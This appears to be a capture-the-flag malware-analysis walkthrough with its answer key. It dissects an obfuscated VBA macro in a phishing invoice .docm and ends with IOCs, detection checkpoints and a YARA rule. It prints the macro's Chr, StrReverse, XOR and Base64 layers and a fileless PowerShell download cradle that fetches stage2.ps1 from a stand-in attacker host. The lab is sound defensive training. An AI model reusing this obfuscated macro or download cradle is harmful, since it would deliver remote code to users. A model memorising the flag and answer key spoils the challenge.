invoice_Q4_2024.docm
18b6ac40ae4507c2ad040e21af8ca97c9511b5ccdd2381917de47364e103b4ef
Microsoft Word Macro-Enabled Document (OLE2 / OOXML)
lab1_macro.bas, import it into a blank .docm (instructions below)
📧 Scenario
From: accounting@partner-invoice.com
Subject: Q4 2024 invoice – urgent validation before close
Attachment: invoice_Q4_2024.docm
"Hello, please find attached the Q4 invoice to validate before 5 pm. Enable macros to display the document correctly. Thank you."
A user opened the attachment and clicked “Enable content”. The EDR raised an alert on the WINWORD.EXE process. You recover the .docm file before the payload fully executes.
🎯 Your mission
- Identify the 4 obfuscation layers and the techniques used.
- Deobfuscate each layer and reconstruct the hidden strings.
- Extract the C&C URL (Command & Control).
- Decode the Base64 payload and identify the real command.
- Compile the full list of IOCs (Indicators of Compromise).
🔧 Required tools
oletools (Didier Stevens)
pip install oletools # oledump.py, olevba, mraptor…
# Vérifier l'installation
oledump.py --version
olevba --version
Get the sample
Analyse this file in an isolated VM with no network access. The ZIP is protected with the password infected (a malware-community convention) to avoid antivirus stripping and accidental opening.
- Download the
challenge-01-sample.ziparchive below. - Extract it inside your VM with the password
infected. - Verify the hash:
sha256sum invoice_Q4_2024.docmmust match the SHA-256 above.
CyberChef
Available online: gchq.github.io/CyberChef or locally via Docker.
🔬 Step-by-step analysis
Triage & file identification
file · sha256sum · oledumpFirst, verify what you actually have in hand.
file invoice_Q4_2024.docm
sha256sum invoice_Q4_2024.docm
invoice_Q4_2024.docm: Microsoft OOXML
<hash_sha256> invoice_Q4_2024.docm
.docm files are ZIP archives (OOXML). file or unzip -l confirms it. The VBA lives in word/vbaProject.bin, an OLE2 binary nested inside the ZIP.
List the OLE streams with oledump:
python3 oledump.py invoice_Q4_2024.docm
1: 114 '\x01CompObj'
2: 4096 '\x05DocumentSummaryInformation'
3: 4096 '\x05SummaryInformation'
4: 2058 'VBA/VBA/Module1' M
5: 3421 'VBA/VBA/ThisDocument' M
6: 0 'VBA/VBA/dir'
7: 6234 'VBA/VBA/_VBA_PROJECT'
8: 534 'VBA/PROJECTwm'
Streams marked M contain VBA code. Module1 (stream 4) and ThisDocument (stream 5) are our targets. Start with stream 4.
Extracting the VBA code
oledump.py -vExtract and decompress the VBA code from stream 4 with the -v flag:
python3 oledump.py -s 4 -v invoice_Q4_2024.docm
Private Sub Document_Open()
Call Rn47Xs
End Sub
Private Sub Rn47Xs()
Dim Xk9q As String
Dim Yp4m As String
Dim Zm8b As Variant
Dim s As String
Dim idx As Integer
Xk9q = Chr(87) & Chr(115) & Chr(99) & Chr(114) & Chr(105) & _
Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & _
Chr(101) & Chr(108) & Chr(108)
Yp4m = StrReverse("1sp.2egats/zyx.proc-live.etadpu//:ptth")
Zm8b = Array(33, 47, 38, 98, 109, 33)
s = ""
For idx = 0 To UBound(Zm8b)
s = s & Chr(Zm8b(idx) Xor 66)
Next idx
Dim b64 As String
b64 = "SUVYKChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2Fk" & _
"U3RyaW5nKCdodHRwOi8vdXBkYXRlLmV2aWwtY29ycC54eXovc3Rh" & _
"Z2UyLnBzMScpKQ=="
MsgBox "..."
End Sub
Immediate observations: random variable names (Rn47Xs, Xk9q...), Chr() calls, StrReverse(), XOR, a long Base64 string. Classic red flags of an obfuscated maldoc.
Static analysis with olevba
olevbaolevba automatically flags suspicious patterns and IOCs:
olevba invoice_Q4_2024.docm
olevba --decode invoice_Q4_2024.docm # tente de décoder automatiquement
+-------------+----------------+---------------------------------------------+
| Type | Keyword | Description |
+-------------+----------------+---------------------------------------------+
| AutoExec | Document_Open | Runs when the Word document is opened |
| Suspicious | Chr | May be used to obfuscate strings (×13) |
| Suspicious | StrReverse | May be used to obfuscate strings |
| Suspicious | Xor | May be used to obfuscate data |
| Suspicious | Shell | May run an executable file or application |
| Suspicious | Base64 Strings | Long Base64 encoded string (possible code) |
| IOC | http://update.evil-corp.xyz/stage2.ps1 |
+-------------+----------------+---------------------------------------------+
olevba already extracted the C&C URL, but you need to understand how it was hidden to identify the technique and write a robust detection rule.
Manual deobfuscation, 4 layers
static analysisWork through each layer by hand to document the exact technique.
Each Chr(n) returns the ASCII character for code n. By concatenating them, the attacker rebuilds a sensitive string that never appears in clear text in the source.
Xk9q = Chr(87) & Chr(115) & Chr(99) & Chr(114) & Chr(105) &
Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) &
Chr(101) & Chr(108) & Chr(108)
Wscript.Shell is the COM object that runs system commands from VBA. Its presence is a strong indicator of malicious intent.
StrReverse() returns the mirror of its argument. The C&C URL is stored backwards to dodge signatures based on URL patterns.
Yp4m = StrReverse("1sp.2egats/zyx.proc-live.etadpu//:ptth")
Each byte in the array is XORed with the key 0x42 to hide execution primitives. To decode, reapply the same XOR (a symmetric operation).
Zm8b = Array(33, 47, 38, 98, 109, 33)
For idx = 0 To UBound(Zm8b)
s = s & Chr(Zm8b(idx) Xor 66)
Next idx
To find an unknown XOR key: compare the encoded bytes against known prefixes (cmd, pow, htt). Here 33 ⊕ 99 = 66 → key = 0x42.
The final payload is Base64-encoded to be passed to powershell -enc or decoded dynamically via [System.Convert]::FromBase64String().
b64 = "SUVYKChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2Fk" & _
"U3RyaW5nKCdodHRwOi8vdXBkYXRlLmV2aWwtY29ycC54eXovc3Rh" & _
"Z2UyLnBzMScpKQ=="
PowerShell download cradle. IEX = Invoke-Expression: runs the downloaded string as PowerShell code. Combined with DownloadString(), it loads malicious code straight into memory, without ever writing a file to disk (fileless).
Reconstructing the kill chain
synthesisAssembling the 4 layers reconstructs the command the malware would run:
# Ce que le maldoc aurait exécuté si la macro était fonctionnelle :
# 1. Créer un objet Wscript.Shell
# 2. Lancer : cmd /c powershell -nop -w hidden -enc <b64>
# 3. PowerShell décode le B64 et exécute :
IEX((New-Object Net.WebClient).DownloadString(
'http://update.evil-corp.xyz/stage2.ps1'
))
# 4. stage2.ps1 est téléchargé et exécuté en mémoire (fileless)
Fileless malware: no PE file is written to disk. Detection relies on monitoring in-memory behaviour, network connections and PowerShell logging (Script Block Logging, Module Logging, AMSI).
IOC extraction & report
IOC · ReportingFormalise the collected elements in an IOC table.
Always defang URLs in reports: replace http with hxxp and dots in the domain with [.] to avoid accidental clicks.
| Type | Value (defanged) | Description |
|---|---|---|
| URL C2 | hxxp://update.evil-corp[.]xyz/stage2.ps1 | Download cradle, stage 2 |
| Command | cmd /c powershell -nop -w hidden -enc … | Execution via Wscript.Shell |
| Method | IEX + Net.WebClient.DownloadString() | PowerShell download cradle fileless |
| MITRE | T1566.001 · T1059.001 · T1027 · T1105 | Phishing / PS / Obfuscation / Ingress |
🏁 Full solution
Did you find all 4 layers and every IOC? Compare with the answer key.
Flag : {M4cr0_0bf5c4t10n_1s_K3y}
Layer recap
| Layer | Technique | Hidden | Decoded |
|---|---|---|---|
| 1 | Chr() concatenation | Chr(87)&Chr(115)… | Wscript.Shell |
| 2 | StrReverse() | 1sp.2egats/zyx… | http://update.evil-corp.xyz/stage2.ps1 |
| 3 | XOR 0x42 | [33,47,38,98,109,33] | cmd /c |
| 4 | Base64 UTF-8 | SUVYKC…KQ== | IEX((New-Object Net.WebClient).DownloadString(…)) |
Full kill chain
Email phishing (T1566.001)
└─► Fichier .docm avec macro (T1204.002)
└─► Document_Open → Rn47Xs()
└─► CreateObject("Wscript.Shell") ← Couche 1
└─► cmd /c powershell ← Couche 3
└─► -enc [Base64] ← Couche 4
└─► IEX(DownloadString(C2)) ← Couche 2
└─► Exécution fileless en mémoire (T1059.001)
Detection, checkpoints
- EDR: WINWORD.EXE → cmd.exe → powershell.exe (abnormal parent-child)
- Network: outbound connection from WINWORD.EXE / powershell.exe
- Event 4104 (PS Script Block): logging of the downloaded script
- AMSI: with PowerShell >= 5, AMSI can scan the block before IEX
- Proxy: PowerShell User-Agent request to evil-corp.xyz
🚀 Going further
YARA rule
rule Maldoc_VBA_MultiLayer_Obfuscation
{
meta:
description = "VBA maldoc with Chr + StrReverse + XOR + Base64 obfuscation"
author = "Synapse Consulting"
date = "2024-12"
reference = "Lab Challenge #01"
mitre = "T1027, T1059.001"
strings:
$chr = "Chr(" ascii
$strrev = "StrReverse" ascii
$xor_kw = " Xor " ascii
$b64_long = /[A-Za-z0-9+\/]{60,}={0,2}/ ascii
$autorun1 = "Document_Open" ascii nocase
$autorun2 = "AutoOpen" ascii nocase
condition:
uint32(0) == 0xD0CF11E0 // Magic OLE2
and 3 of ($chr, $strrev, $xor_kw, $b64_long)
and 1 of ($autorun1, $autorun2)
}
Test with: yara -r lab_challenge01.yar invoice_Q4_2024.docm
Resources
The reference tool for analysing OLE2 documents. The blog holds dozens of similar labs.
Full suite: olevba, mraptor, rtfobj, oleid, olemeta…
The Swiss-army knife of decoding: Base64, XOR, From Charcode, Magic (auto-detect)…
Documentation of the obfuscation techniques used in this challenge.
Real samples (tags: vba, maldoc). Always analyse in an isolated VM.
Living-off-the-land: legitimate Windows tools abused, like Wscript.Shell.